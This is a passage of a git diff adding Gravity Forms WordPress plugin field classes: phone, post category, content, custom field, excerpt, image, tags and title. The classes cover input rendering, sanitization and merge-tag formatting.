* @param int $form_id The form ID of the submitted item.
|
||||
*
|
||||
* @return string The sanitized value.
|
||||
*/
|
||||
public function sanitize_entry_value( $value, $form_id ) {
|
||||
$value = is_array( $value ) ? '' : sanitize_text_field( $value );
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the field value when an entry is being saved.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormsModel::prepare_value()
|
||||
* @uses GF_Field_Phone::sanitize_entry_value()
|
||||
* @uses GF_Field_Phone::$phoneFormat
|
||||
*
|
||||
* @param string $value The input value.
|
||||
* @param array $form The Form Object.
|
||||
* @param string $input_name The input name.
|
||||
* @param int $lead_id The Entry ID.
|
||||
* @param array $lead The Entry Object.
|
||||
*
|
||||
* @return string The field value.
|
||||
*/
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
$value = $this->sanitize_entry_value( $value, $form['id'] );
|
||||
|
||||
if ( $this->phoneFormat == 'standard' && preg_match( '/^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$/', $value, $matches ) ) {
|
||||
$value = sprintf( '(%s) %s-%s', $matches[1], $matches[2], $matches[3] );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Outputs any inline scripts to be used when the page is rendered.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field::register_form_init_scripts()
|
||||
* @uses GF_Field_Phone::get_phone_format()
|
||||
*
|
||||
* @param array $form The Form Object.
|
||||
*
|
||||
* @return string The inline scripts.
|
||||
*/
|
||||
public function get_form_inline_script_on_page_render( $form ) {
|
||||
$script = '';
|
||||
$phone_format = $this->get_phone_format();
|
||||
|
||||
if ( rgar( $phone_format, 'mask' ) ) {
|
||||
$script = "jQuery('#input_{$form['id']}_{$this->id}').mask('{$phone_format['mask']}').bind('keypress', function(e){if(e.which == 13){jQuery(this).blur();} } );";
|
||||
}
|
||||
return $script;
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitizes the field settings.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::add_field()
|
||||
* @used-by GFFormsModel::sanitize_settings()
|
||||
* @uses GF_Field::sanitize_settings()
|
||||
* @uses GF_Field_Phone::get_phone_format()
|
||||
* @uses GF_Field_Phone::$phoneFormat
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
|
||||
if ( ! $this->get_phone_format() ) {
|
||||
$this->phoneFormat = 'standard';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get an array of phone formats.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field_Phone::get_phone_format()
|
||||
*
|
||||
* @param null|int $form_id The ID of the current form or null to use the value from the current fields form_id property. Defaults to null.
|
||||
*
|
||||
* @return array The phone formats available.
|
||||
*/
|
||||
public function get_phone_formats( $form_id = null ) {
|
||||
|
||||
if ( empty( $form_id ) ) {
|
||||
$form_id = $this->form_id;
|
||||
}
|
||||
$form_id = absint( $form_id );
|
||||
|
||||
$phone_formats = array(
|
||||
'standard' => array(
|
||||
'label' => '(###) ###-####',
|
||||
'mask' => '(999) 999-9999',
|
||||
'regex' => '/^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$/',
|
||||
'instruction' => '(###) ###-####',
|
||||
),
|
||||
'international' => array(
|
||||
'label' => __( 'International', 'gravityforms' ),
|
||||
'mask' => false,
|
||||
'regex' => false,
|
||||
'instruction' => false,
|
||||
),
|
||||
);
|
||||
|
||||
/**
|
||||
* Allow custom phone formats to be defined.
|
||||
*
|
||||
* @since 2.0.0
|
||||
*
|
||||
* @param array $phone_formats The phone formats.
|
||||
* @param int $form_id The ID of the current form.
|
||||
*/
|
||||
$phone_formats = apply_filters( 'gform_phone_formats', $phone_formats, $form_id );
|
||||
|
||||
/**
|
||||
* Filters the custom form inputs only for a specific form ID.
|
||||
*
|
||||
* @since 2.0.0
|
||||
*
|
||||
* @param array $phone_formats The phone formats.
|
||||
* @param int $form_id The ID of the current form.
|
||||
*/
|
||||
return apply_filters( 'gform_phone_formats_' . $form_id, $phone_formats, $form_id );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the properties for the fields selected phone format.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field_Phone::get_field_input()
|
||||
* @used-by GF_Field_Phone::get_form_inline_script_on_page_render()
|
||||
* @used-by GF_Field_Phone::sanitize_settings()
|
||||
* @used-by GF_Field_Phone::validate()
|
||||
* @uses GF_Field_Phone::get_phone_formats()
|
||||
* @uses GF_Field_Phone::$phoneFormat
|
||||
*
|
||||
* @return array The phone format.
|
||||
*/
|
||||
public function get_phone_format() {
|
||||
$phone_formats = $this->get_phone_formats();
|
||||
|
||||
return rgar( $phone_formats, $this->phoneFormat );
|
||||
}
|
||||
}
|
||||
|
||||
// Register the phone field with the field framework.
|
||||
GF_Fields::register( new GF_Field_Phone() );
|
||||
37
includes/fields/class-gf-field-post-category.php
Normal file
37
includes/fields/class-gf-field-post-category.php
Normal file
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GF_Field_Post_Category extends GF_Field {
|
||||
|
||||
public $type = 'post_category';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Category', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'post_category_checkbox_setting',
|
||||
'post_category_initial_item_setting',
|
||||
'post_category_field_type_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'conditional_logic_field_setting',
|
||||
);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Post_Category() );
|
||||
61
includes/fields/class-gf-field-post-content.php
Normal file
61
includes/fields/class-gf-field-post-content.php
Normal file
@@ -0,0 +1,61 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
require_once( plugin_dir_path( __FILE__ ) . 'class-gf-field-textarea.php' );
|
||||
|
||||
class GF_Field_Post_Content extends GF_Field_Textarea {
|
||||
|
||||
public $type = 'post_content';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Body', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'post_content_template_setting',
|
||||
'post_status_setting',
|
||||
'post_category_setting',
|
||||
'post_author_setting',
|
||||
'post_format_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'maxlen_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'default_value_textarea_setting',
|
||||
'placeholder_textarea_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'rich_text_editor_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function allow_html() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Filter the rich_editing option for the current user.
|
||||
*
|
||||
* @since 2.2.5.14
|
||||
*
|
||||
* @param string $value The value of the rich_editing option for the current user.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function filter_user_option_rich_editing( $value ) {
|
||||
return is_user_logged_in() ? $value : 'true';
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Post_Content() );
|
||||
70
includes/fields/class-gf-field-post-custom-field.php
Normal file
70
includes/fields/class-gf-field-post-custom-field.php
Normal file
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GF_Field_Post_Custom_Field extends GF_Field {
|
||||
|
||||
public $type = 'post_custom_field';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Custom Field', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'post_custom_field_type_setting',
|
||||
'post_custom_field_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$value = esc_attr( $value );
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$class = esc_attr( $class );
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
return "<div class='ginput_container ginput_container_post_custom_field'>
|
||||
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$disabled_text} {$required_attribute} {$invalid_attribute} />
|
||||
</div>";
|
||||
}
|
||||
|
||||
public function allow_html() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Post_Custom_Field() );
|
||||
124
includes/fields/class-gf-field-post-excerpt.php
Normal file
124
includes/fields/class-gf-field-post-excerpt.php
Normal file
@@ -0,0 +1,124 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GF_Field_Post_Excerpt extends GF_Field {
|
||||
|
||||
public $type = 'post_excerpt';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Excerpt', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'post_status_setting',
|
||||
'post_category_setting',
|
||||
'post_author_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'maxlen_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'default_value_textarea_setting',
|
||||
'placeholder_textarea_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$value = esc_textarea( $value );
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$class = esc_attr( $class );
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
return "<div class='ginput_container ginput_container_post_excerpt'>
|
||||
<textarea name='input_{$id}' id='{$field_id}' class='textarea {$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text} rows='10' cols='50'>{$value}</textarea>
|
||||
</div>";
|
||||
}
|
||||
|
||||
public function allow_html() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value for when the field/input merge tag is processed. Not called for the {all_fields} merge tag.
|
||||
*
|
||||
* Return a value that is safe for the context specified by $format.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GF_Field::get_allowable_tags()
|
||||
*
|
||||
* @param string|array $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
|
||||
* @param string $input_id The field or input ID from the merge tag currently being processed.
|
||||
* @param array $entry The Entry Object currently being processed.
|
||||
* @param array $form The Form Object currently being processed.
|
||||
* @param string $modifier The merge tag modifier. e.g. value
|
||||
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
|
||||
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
|
||||
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
|
||||
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
|
||||
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
|
||||
if ( $format === 'html' ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$allowable_tags = $this->get_allowable_tags( $form_id );
|
||||
|
||||
if ( $allowable_tags === false ) {
|
||||
// The value is unsafe so encode the value.
|
||||
$return = esc_html( $value );
|
||||
} else {
|
||||
// The value contains HTML but the value was sanitized before saving.
|
||||
$return = $value;
|
||||
}
|
||||
|
||||
// If $nl2br is true nl2br() may have already been run in GFCommon::format_variable_value().
|
||||
if ( ! $nl2br ) {
|
||||
// Run nl2br() to preserve line breaks when auto-formatting is disabled on notifications/confirmations.
|
||||
$return = nl2br( $return );
|
||||
}
|
||||
} else {
|
||||
$return = $value;
|
||||
}
|
||||
|
||||
return $return;
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Post_Excerpt() );
|
||||
196
includes/fields/class-gf-field-post-image.php
Normal file
196
includes/fields/class-gf-field-post-image.php
Normal file
@@ -0,0 +1,196 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Post_Image extends GF_Field_Fileupload {
|
||||
|
||||
public $type = 'post_image';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Post Image', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'post_image_setting',
|
||||
'rules_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'post_image_featured_image',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$title = esc_attr( rgget( $this->id . '.1', $value ) );
|
||||
$caption = esc_attr( rgget( $this->id . '.4', $value ) );
|
||||
$description = esc_attr( rgget( $this->id . '.7', $value ) );
|
||||
|
||||
//hiding meta fields for admin
|
||||
$hidden_style = "style='display:none;'";
|
||||
$title_style = ! $this->displayTitle && $is_admin ? $hidden_style : '';
|
||||
$caption_style = ! $this->displayCaption && $is_admin ? $hidden_style : '';
|
||||
$description_style = ! $this->displayDescription && $is_admin ? $hidden_style : '';
|
||||
$file_label_style = $is_admin && ! ( $this->displayTitle || $this->displayCaption || $this->displayDescription ) ? $hidden_style : '';
|
||||
|
||||
$hidden_class = $preview = '';
|
||||
$file_info = RGFormsModel::get_temp_filename( $form_id, "input_{$id}" );
|
||||
if ( $file_info ) {
|
||||
$hidden_class = ' gform_hidden';
|
||||
$file_label_style = $hidden_style;
|
||||
$preview = "<span class='ginput_preview'><strong>" . esc_html( $file_info['uploaded_filename'] ) . "</strong> | <a href='javascript:;' onclick='gformDeleteUploadedFile({$form_id}, {$id});' onkeypress='gformDeleteUploadedFile({$form_id}, {$id});'>" . __( 'delete', 'gravityforms' ) . '</a></span>';
|
||||
}
|
||||
|
||||
//in admin, render all meta fields to allow for immediate feedback, but hide the ones not selected
|
||||
$file_label = ( $is_admin || $this->displayTitle || $this->displayCaption || $this->displayDescription ) ? "<label for='$field_id' class='ginput_post_image_file' $file_label_style>" . gf_apply_filters( array( 'gform_postimage_file', $form_id ), __( 'File', 'gravityforms' ), $form_id ) . '</label>' : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$upload = sprintf( "<span class='ginput_full$class_suffix'>{$preview}<input name='input_%d' id='%s' type='file' class='%s' $tabindex %s/>$file_label</span>", $id, $field_id, esc_attr( $class . $hidden_class ), $disabled_text );
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$title_field = $this->displayTitle || $is_admin ? sprintf( "<span class='ginput_full$class_suffix ginput_post_image_title' $title_style><input type='text' name='input_%d.1' id='%s_1' value='%s' $tabindex %s/><label for='%s_1'>" . gf_apply_filters( array( 'gform_postimage_title', $form_id ), __( 'Title', 'gravityforms' ), $form_id ) . '</label></span>', $id, $field_id, $title, $disabled_text, $field_id ) : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$caption_field = $this->displayCaption || $is_admin ? sprintf( "<span class='ginput_full$class_suffix ginput_post_image_caption' $caption_style><input type='text' name='input_%d.4' id='%s_4' value='%s' $tabindex %s/><label for='%s_4'>" . gf_apply_filters( array( 'gform_postimage_caption', $form_id ), __( 'Caption', 'gravityforms' ), $form_id ) . '</label></span>', $id, $field_id, $caption, $disabled_text, $field_id ) : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$description_field = $this->displayDescription || $is_admin ? sprintf( "<span class='ginput_full$class_suffix ginput_post_image_description' $description_style><input type='text' name='input_%d.7' id='%s_7' value='%s' $tabindex %s/><label for='%s_7'>" . gf_apply_filters( array( 'gform_postimage_description', $form_id ), __( 'Description', 'gravityforms' ), $form_id ) . '</label></span>', $id, $field_id, $description, $disabled_text, $field_id ) : '';
|
||||
|
||||
return "<div class='ginput_complex$class_suffix ginput_container ginput_container_post_image'>" . $upload . $title_field . $caption_field . $description_field . '</div>';
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
$form_id = $form['id'];
|
||||
$url = $this->get_single_file_value( $form_id, $input_name );
|
||||
|
||||
if ( empty( $url ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
if ( ! GFCommon::is_valid_url( $url ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): aborting; File URL invalid.' );
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
$image_title = isset( $_POST["{$input_name}_1"] ) ? wp_strip_all_tags( $_POST["{$input_name}_1"] ) : '';
|
||||
$image_caption = isset( $_POST["{$input_name}_4"] ) ? wp_strip_all_tags( $_POST["{$input_name}_4"] ) : '';
|
||||
$image_description = isset( $_POST["{$input_name}_7"] ) ? wp_strip_all_tags( $_POST["{$input_name}_7"] ) : '';
|
||||
|
||||
return $url . '|:|' . $image_title . '|:|' . $image_caption . '|:|' . $image_description;
|
||||
}
|
||||
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
list( $url, $title, $caption, $description ) = rgexplode( '|:|', $value, 4 );
|
||||
if ( ! empty( $url ) ) {
|
||||
//displaying thumbnail (if file is an image) or an icon based on the extension
|
||||
$thumb = GFEntryList::get_icon_url( $url );
|
||||
$value = "<a href='" . esc_attr( $url ) . "' target='_blank' title='" . __( 'Click to view', 'gravityforms' ) . "'><img src='$thumb'/></a>";
|
||||
}
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
$ary = explode( '|:|', $value );
|
||||
$url = count( $ary ) > 0 ? $ary[0] : '';
|
||||
$title = count( $ary ) > 1 ? $ary[1] : '';
|
||||
$caption = count( $ary ) > 2 ? $ary[2] : '';
|
||||
$description = count( $ary ) > 3 ? $ary[3] : '';
|
||||
|
||||
if ( ! empty( $url ) ) {
|
||||
$url = str_replace( ' ', '%20', $url );
|
||||
|
||||
switch ( $format ) {
|
||||
case 'text' :
|
||||
$value = $url;
|
||||
$value .= ! empty( $title ) ? "\n\n" . $this->label . ' (' . __( 'Title', 'gravityforms' ) . '): ' . $title : '';
|
||||
$value .= ! empty( $caption ) ? "\n\n" . $this->label . ' (' . __( 'Caption', 'gravityforms' ) . '): ' . $caption : '';
|
||||
$value .= ! empty( $description ) ? "\n\n" . $this->label . ' (' . __( 'Description', 'gravityforms' ) . '): ' . $description : '';
|
||||
break;
|
||||
|
||||
default :
|
||||
$value = "<a href='$url' target='_blank' title='" . __( 'Click to view', 'gravityforms' ) . "'><img src='$url' width='100' /></a>";
|
||||
$value .= ! empty( $title ) ? "<div>Title: $title</div>" : '';
|
||||
$value .= ! empty( $caption ) ? "<div>Caption: $caption</div>" : '';
|
||||
$value .= ! empty( $description ) ? "<div>Description: $description</div>" : '';
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
|
||||
|
||||
$value[ $this->id . '.1' ] = $this->get_input_value_submission( 'input_' . $this->id . '_1', $get_from_post_global_var );
|
||||
$value[ $this->id . '.4' ] = $this->get_input_value_submission( 'input_' . $this->id . '_4', $get_from_post_global_var );
|
||||
$value[ $this->id . '.7' ] = $this->get_input_value_submission( 'input_' . $this->id . '_7', $get_from_post_global_var );
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
list( $url, $title, $caption, $description ) = array_pad( explode( '|:|', $value ), 4, false );
|
||||
switch ( $modifier ) {
|
||||
case 'title' :
|
||||
return $title;
|
||||
|
||||
case 'caption' :
|
||||
return $caption;
|
||||
|
||||
case 'description' :
|
||||
return $description;
|
||||
|
||||
default :
|
||||
return str_replace( ' ', '%20', $url );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Post_Image() );
|
||||
70
includes/fields/class-gf-field-post-tags.php
Normal file
70
includes/fields/class-gf-field-post-tags.php
Normal file
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GF_Field_Post_Tags extends GF_Field {
|
||||
|
||||
public $type = 'post_tags';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Tags', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'post_tag_type_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'rules_setting',
|
||||
'default_value_setting',
|
||||
'visibility_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'placeholder_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$value = esc_attr( $value );
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$class = esc_attr( $class );
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
return "<div class='ginput_container ginput_container_post_tags'>
|
||||
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
|
||||
</div>";
|
||||
}
|
||||
|
||||
public function allow_html() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Post_Tags() );
|
||||
94
includes/fields/class-gf-field-post-title.php
Normal file
94
includes/fields/class-gf-field-post-title.php
Normal file
@@ -0,0 +1,94 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Post_Title extends GF_Field {
|
||||
|
||||
public $type = 'post_title';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Title', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'post_title_template_setting',
|
||||
'post_status_setting',
|
||||
'post_category_setting',
|
||||
'size_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'post_author_setting',
|
||||
'post_format_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$value = esc_attr( $value );
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$class = esc_attr( $class );
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
return "<div class='ginput_container ginput_container_post_title'>
|
||||
